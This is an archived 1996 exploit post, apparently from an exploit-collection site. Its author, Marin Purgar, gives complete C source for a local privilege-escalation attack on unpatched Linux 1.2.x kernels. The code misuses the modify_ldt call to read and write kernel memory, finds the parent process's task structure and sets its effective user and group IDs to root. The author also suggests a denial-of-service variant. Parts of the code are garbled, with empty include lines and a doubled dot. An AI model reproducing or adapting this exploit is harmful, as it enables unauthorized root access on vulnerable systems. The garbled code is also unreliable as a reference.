Linux ldt kernel bug

Summary
Description:see exploit.
Author:Marin Purgar - PMC (pmc@asgard.hr) wrote this exploit
Compromise: root
Vulnerable Systems:Unpatched Linux 1.2.* systems (possibly some 1.3.x)
Date:11 October 1996
Details

Exploit:

Subject: Exploit for 1.2.X (maybe some 1.3.X) kernels
From: Marin Purgar - PMC (pmc@asgard.hr)
Date: Fri, 11 Oct 1996 19:32:06 +0100 

      
Well, after seeing so much unpatched 1.2.X creeps around on the net I
decided to post this one. Hope it will speed up 2.0.X installations
around ;)

Basicaly it's a ldt kernel bug wich was (over and over) discussed and
pointed to in linux-kernel mailing list. I think RH has patched this
one in their kernel (never tryed). All *pure* linux-1.2.X.tar.gz
installations are vulnerable.

The source is a modification of Morten Welinder post in linux-kernel
somewehere around march. This one does not need System.map to find
_task structure in kernel data segment. Instead I wrote a SEGV trap
to find where accessable patitions of memory are.

To speed it up I access direct at 0xC000000 (KERNEL_BASE) and step it
with 0x1000 (PAGE_STEP - task_struct-s are usualy at page boundary).
But it can be set up to search the whole memory for matching
task_struct-s.

The parent task_struct match is very loose (I am looking only for euid,
egid and pid of parent task at correct distances. This can be extended
for better match, but I found out that these three are quite enought.

Also note that this one demostrates a memory leak in clib in sigsetjmp
function. If you make enough itterations this one can be converted
into denial of service attack (and posibilly host crash ;). Try with
KERNEL_BASE = 0x00000000 and PAGE_STEP = 1.

The main issue here is that developement of 1.2.X was abandoned after
1.2.13 and all went to 1.3.X. So there were many (now after 2.0.X not
*so* many) vulnerable systems around. I hope taht the same thing
wouldn't happen with 2.0.X after starting 2.1.X developement tree.

HyHo let's go:

pmcs_ex.c:

<=======================================================================>

#include 
#include 
#include 
#include 
#include 

#define __KERNEL__
#include 

_syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount)

#define KERNEL_BASE 0xC0000000
#define PAGE_STEP   0x1000

/* -------------------------------------------------------------------- */
static __inline__ unsigned char
__farpeek (int seg, unsigned ofs)
{
  unsigned char res;
  asm ("mov %w1,%%gs ; gs; movb (%2),%%al"
       : "=a" (res)
       : "r" (seg), "r" (ofs));
  return res;
}
/* -------------------------------------------------------------------- */
static __inline__ void
__farpoke (int seg, unsigned ofs, unsigned char b)
{
  asm ("mov %w0,%%gs ; gs; movb %b2,(%1)"
       : /* No results.  */
       : "r" (seg), "r" (ofs), "r" (b));
}
/* -------------------------------------------------------------------- */

sigjmp_buf memgetjmp;

void
memchkseg (int seg, const void *src )
{
  if ( sigsetjmp ( memgetjmp, 1 ) == 0 ) {
    __farpeek (seg, (unsigned)(src));
  }
}
/* -------------------------------------------------------------------- */
void
memgetseg (void *dst, int seg, const void *src, int size)
{
    while (size-- > 0)
      *(char *)dst++ = __farpeek (seg, (unsigned)(src++));
}
/* -------------------------------------------------------------------- */
void
memputseg (int seg, void *dst, const void *src, int size)
{
  while (size-- > 0)
    __farpoke (seg, (unsigned)(dst++), *(char *)src++);
}
/* -------------------------------------------------------------------- */

#define KERNEL_DATA_SEGMENT 7

/* SEGV handling for kernel data segmnet boundary check */

static int iSEGV = 1;

void SEGVHandler ( int iSignal ) {
  iSEGV = 1;
  siglongjmp ( memgetjmp, 1 );
}

void FillTaskStruct ( char *pcTaskStruct, long lAddress ) {
  int iCounter = sizeof ( struct task_struct );

  while ( iCounter-- > 0 ) {
    *pcTaskStruct++ = __farpeek ( KERNEL_DATA_SEGMENT, lAddress++ );
  }
}

static int iMyPPID;
static int iMyUID;
static int iMyGID;

int CheckTaskStruct ( struct task_struct *sTaskStruct ) {
  if ( sTaskStruct->pid  == iMyPPID &&
       sTaskStruct->euid == iMyUID &&
       sTaskStruct->egid == iMyGID ) {
    return ( 1 );
  } else {
    return ( 0 );
  }
}

int main ( int argc, char **argv ) {

  char                     cMessage[39]  = "PMCsExploit! (c) 1996. pmc@asgard.hr\n";
  struct modify_ldt_ldt_s  sLDTEntry;
  struct sigaction         sSEGVAction;
  long                     lStartAddress = KERNEL_BASE;
  long                     lCheckAddress = 0x00000000;
  long                     lAreaStart    = 0x00000000;
  long                     lAreaEnd      = 0x00000000;
  long                     lAreaLength   = 0x00000000;
  long                     lTaskAddress  = 0x00000000;
  int                      iRunning      = 1;
  char                     cOneChar      = '\0';
  struct task_struct       sTaskStruct;

  iMyPPID = getppid ();
  iMyUID  = getuid ();
  iMyGID  = getgid ();
  printf ( cMessage );
  printf ( "First let's see if this little joke could be done ?\n" );
   sLDTEntry.entry_number    = 0;
  sLDTEntry.base_addr       = 0x00000000;
  sLDTEntry.limit           = 1;
  sLDTEntry.seg_32bit       = 1;
  sLDTEntry..contents        = MODIFY_LDT_CONTENTS_STACK;
  sLDTEntry.read_exec_only  = 0;
  sLDTEntry.limit_in_pages  = 0;
  sLDTEntry.seg_not_present = 0;
  if ( modify_ldt ( 1, &sLDTEntry, sizeof ( sLDTEntry ) ) ) {
    printf ( ":(\n" );
    return ( -1 );
  }
  sSEGVAction.sa_handler = SEGVHandler;
  sSEGVAction.sa_flags   = SA_RESTART;
  sigemptyset ( &sSEGVAction.sa_mask );
  lCheckAddress = lStartAddress + PAGE_STEP;
  while ( lCheckAddress != lStartAddress ) {
    iSEGV = 0;
    sigaction ( SIGSEGV, &sSEGVAction, NULL );
    memchkseg ( KERNEL_DATA_SEGMENT, ( void *) lCheckAddress );
    if ( iSEGV ) {
      iSEGV = 1;
      while ( iSEGV ) {
        iSEGV = 0;
        sigaction ( SIGSEGV, &sSEGVAction, NULL );
        memchkseg ( KERNEL_DATA_SEGMENT, (void *) lCheckAddress );
        lCheckAddress += PAGE_STEP;
      }
    } else {
      lCheckAddress += PAGE_STEP;
    }
    lAreaStart = lCheckAddress - PAGE_STEP;
    while ( ! iSEGV ) {
      memchkseg ( KERNEL_DATA_SEGMENT, (void *) lCheckAddress );
      lCheckAddress += PAGE_STEP;
    }
    lAreaEnd = lCheckAddress - PAGE_STEP;
    lAreaLength = lAreaEnd - lAreaStart;
    if ( lAreaLength < sizeof ( struct task_struct ) ) {
    } else {
      lTaskAddress = lAreaStart;
      while ( lTaskAddress + sizeof ( struct task_struct ) < lAreaEnd ) {
        FillTaskStruct ( (char *) &sTaskStruct, lTaskAddress );
        if ( CheckTaskStruct ( &sTaskStruct ) ) {
          sTaskStruct.euid = 0;
          sTaskStruct.egid = 0;
          memputseg ( KERNEL_DATA_SEGMENT, (void *) lTaskAddress, (void *) &sTaskStruct, sizeof ( sTaskStruct ) );
          printf ( ":)\n" );
          exit ( 0 );
        }
        lTaskAddress += PAGE_STEP;
      }
    }
  }
  printf ( ":(\n" );
  exit ( -1 );
}

<=======================================================================>

ps. I now my c style is lame, but it works ;)

bb4now,
PMC

--
NuMessiah - The Prophet of the New AEon !
pmc@asgard.hr

More Exploits!

The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:
All OS's Linux Solaris/SunOS Micro$oft
*BSD Macintosh AIX IRIX
ULTRIX/Digital UNIX HP/UX SCO Remote exploits

This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: